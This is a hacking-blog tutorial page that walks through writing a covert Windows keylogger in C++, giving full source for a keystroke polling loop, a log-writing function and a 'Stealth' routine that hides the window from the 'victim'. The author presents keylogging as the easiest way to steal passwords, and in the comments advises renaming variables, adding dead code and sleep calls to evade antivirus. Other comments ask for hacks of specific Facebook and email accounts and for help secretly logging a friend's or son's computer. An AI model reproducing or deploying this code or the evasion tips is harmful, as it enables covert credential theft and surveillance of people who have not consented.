How to code Keylogger in C++ Stepwise by HackingLoops

Hey friends, today i am going to teach you how to code keylogger in C++ Stepwise. Most of us aware with the functionality of keyloggers, if not let me give you brief information what are keyloggers and why they are so important to Hackers.
code keylogger in C++
Keylogger Code in C++

What is Keylogger ?
Keylogger as the word itself suggest logging or capturing keys or key strokes. Technically, Keylogger is a software tool or program which is used to capture key strokes that user presses in real time and further processing depends on nature of keylogger that it is a physical keylogger or remote keylogger and the technique of capturing key strokes is called keylogging. And it is really hard to believe but keylogging is the easiest method to hack anybody's password, what you need is just a good keylogger, good crypter and knowledge about spreading your keylogger program. Thousands of keyloggers are available in the web world for free but its really irony that all of them are either detectable by antivirus or owner has attached virus to them to hack its users. So its obvious, we need to be cautious while using freely available keyloggers or cracked version of paid keyloggers. But why to try to become a prey to other hackers when designing of new of your own is damn easy. Most novice hackers or simply called script kiddie's think that coding a good keylogger is very tedious and hard task but believe me after reading my this tutorial, it will become a funny task for you guys to code a keylogger. Today i will teach you the complete inward and outward logic of keylogger.

I have divided coding of keylogger in few parts to make it easier for Hackingloops users to understand it properly and if need writing your own logic for different parts if you think my logic is not optimized. So friends lets start learning how to code keylogger in C++ stepwise. As we all know( explained above) that keyloggers capture keystrokes, so there can be several methods to capture the key like capturing the keyboard API Input and output, such keyloggers called API based keyloggers or simply capturing the keys after it gets decoded by your OS ( hardware keyboard sends instructions to OS drivers, which decodes the every key pressed on keyboard into useful alphabets). Today i will teaching you later one. So lets start friends..

Note : You can use Borland C++ compiler or Code blocks C++ compiler for coding the stuff, i usually prefer DEV C++ i.e. Borland C++ compiler.

Now open any of your compilers and create a new project or simply open a text file and name is as anything.cpp ( means whatever you wish).

So lets start coding:
Step 1 : Declaring header directives to include the standard functions
#include <iostream>
using namespace std;     //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>
Right now we only need these three header directives and these are mandatory.

Step 2 : Declaring global calls :
int SaveLogs (int key_stroke, char *file);
void Stealth();  //Declare stealth function to make you keylogger hidden.


Step 3 : Main Function ( mandatory field, this executes the complete code and separate functions or classes).
int main() 
{
    Stealth();       // This will call the stealth function.
    char i;          //Here we declare 'i' from the type 'char'

    while (1)     // Here we say 'while (1)' execute the code.
    {          
       for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,"MYLOGS.txt");    // This will send the value of 'i' and "MYLOGS.txt" to our SaveLogs function.
        }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

/************************************Seperator********/

Step 4 : Writing capturing keys logic
int SaveLogs (int key_stroke, char *file)   // Here we define our SaveLogs function.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;

        if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)        
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}
/************************************Seperator********/

Step 5 : Stealth function
This part of code will help you to hide your keylogger from victim and kept the program window hidden.
void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

Step 6 : Email Function
:P i will explain it later...

Now compile your code and that will generate one binary file or exe file :P that is your keylogger. And all your logs will
I hope you all have enjoyed the article. Step 6 is not disclosed because i want to explain the difference between physical keylogger and remote keylogger. So guys, now u might got this that this is a Physical keylogger. You can only view data on same machine on which binary is running.

If you have any doubts please ask in form of comments.

29 comments:

  1. sir i have also try this program but some error will be there and i want to ask one question that after runnig that program what we have to do next...?
    i hope u will reply me as early as possible...

    ReplyDelete
    Replies
    1. u just incude a file name
      #include
      on the top of d program

      Delete
    2. #include
      likh do program ki starting m

      Delete
  2. plss give code of remote keylogger also asap . . . .

    ReplyDelete
  3. I think your blog is truly awesome, fantastic and all of those fancy words. I’ve subscribed to your RSS-feed, and everytime you update your blog – I read the latest post ... no matter where I am. It could be on my mobile or on my computer. It doesn’t matter. Your blog simply owns. I will therefore link to it from one of my tech blogs if that’s okay with you.

    ReplyDelete
  4. sir pls post abt remote key logger also..........

    ReplyDelete
  5. please give me link to donload c++

    ReplyDelete
  6. plese give me link to download c++.
    my email is amitpotdar50@gmail.com

    ReplyDelete
  7. sir plz hack this account love18 plz its a request he abused on facebook plz sir its request
    my email id ":jobanjohaliya@gmail.com

    ReplyDelete
  8. plz hack this id love18 this is user of facebook he talk very abuse with me hack that acouunt lovegill18 plz
    its my id :jobanjohaliya@gmail.com

    ReplyDelete
  9. sir plz hack this account vedpal2010@yahoo.in
    it is very important for me.
    plz help.

    ReplyDelete
  10. very informative post indeed .being enrolled in http://www.wiziq.com/course/5776-object-oriented-programming-with-c
    i was looking for such articles online to assist me and your article helped me a lot. i really like that you are providing such information.

    ReplyDelete
  11. when i compile
    the coding is wrong
    "for(i = 8; i <= 190; i++)" ??

    ReplyDelete
  12. can anyone tell me what getasyncstate function exactly does?

    ReplyDelete
  13. good =)
    visit back : http://yudha.binushacker.net

    ReplyDelete
  14. Awesome post sir!! i need to ask that what will we have to do after compiling the code? i mean how can we use that file as a key logger. looking to kind response . . . !
    regards.

    ReplyDelete
  15. @ Anonymous

    Please check the Keylogger article on www.ccodechamp.com

    There you will know how to compile and use exe file as keylogger.

    ReplyDelete
  16. there are infinite errors

    ReplyDelete
  17. sir, i want to ask u a question....
    when application window is stealth ,,then how..application will get keys from..keyboard??? window should be open,,so that ,,app. can store logs to the file...

    ReplyDelete
  18. Even i tried to create a keylogger but anti virus deleted that file by saying trojan horse.....

    ReplyDelete
  19. @Garima

    Application window stealth means window will be open but it will be of only 1x1 pixel that means invisible.

    @Vighanesh
    You need to manipulate the variable names, need to add dead code loops, need to add sleep function to avoid antivirus detection.

    @Anonymous
    This is not the complete code. It just contains the important parts of the code mainly logic one's. Try to learn coding else you will remain noob in Hacking world.

    ReplyDelete
  20. how do i create an antivirus binder for a such program and hide its tracks
    reply the code reasonbox@ymail.com

    ReplyDelete
  21. Several people has taken this source code and posted all over the internet as their own.

    ReplyDelete
  22. Sir pleas can u help me hack a website?if yes pleas this is my number +23408169797331,+234081655323 email jerrygyang66@yahoo.com is very important tnks

    ReplyDelete
  23. Does This Keylogger have automatic start-up with computer boot-up?If no can you please tell me the source code for start-up?Will this keylogger add logs to my pc if this is used for another laptop(My son's laptop who is in college) so that i can check his activities?

    Anyway thnx!

    ReplyDelete
  24. [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings] is showing what to do ?

    ReplyDelete
  25. I Run the program, but it just get "terminated" and I can't see the Keylogger Archive!!
    Where is it in my computer?

    ReplyDelete
  26. Hello, guys, I'm with some doubts about this keylogger.
    First of all, let me introduce the algorythmn.
    It reads from the Keyboard and save it in a Log File every key the user hits. But it is with some flaws, at least here!

    1. I don't know where(Directory) in my computer the File will be saved.
    2. When I run the program, it just get "terminated" here in my Pc, I think it isn't working at all, can you test it in ur computers? I use C++ Project in Eclipse.
    3. I am planning to install that keylogger in my friend computer, so: How can I send to me the Log Archive via E-Mail using C++ language? Or how can I upload it in a site and I download it here at home?
    I think it will need FTP protocol. But I don't know where and how I implement it in my code, I already read a lot of texts of FTP protocols, but I need a solid code that do that for me.

    ReplyDelete

Please do not spam.

Copyright © 2012 Learn How to Hack - Best Online Ethical Hacking Website All Right Reserved
Designed by Hackingloops.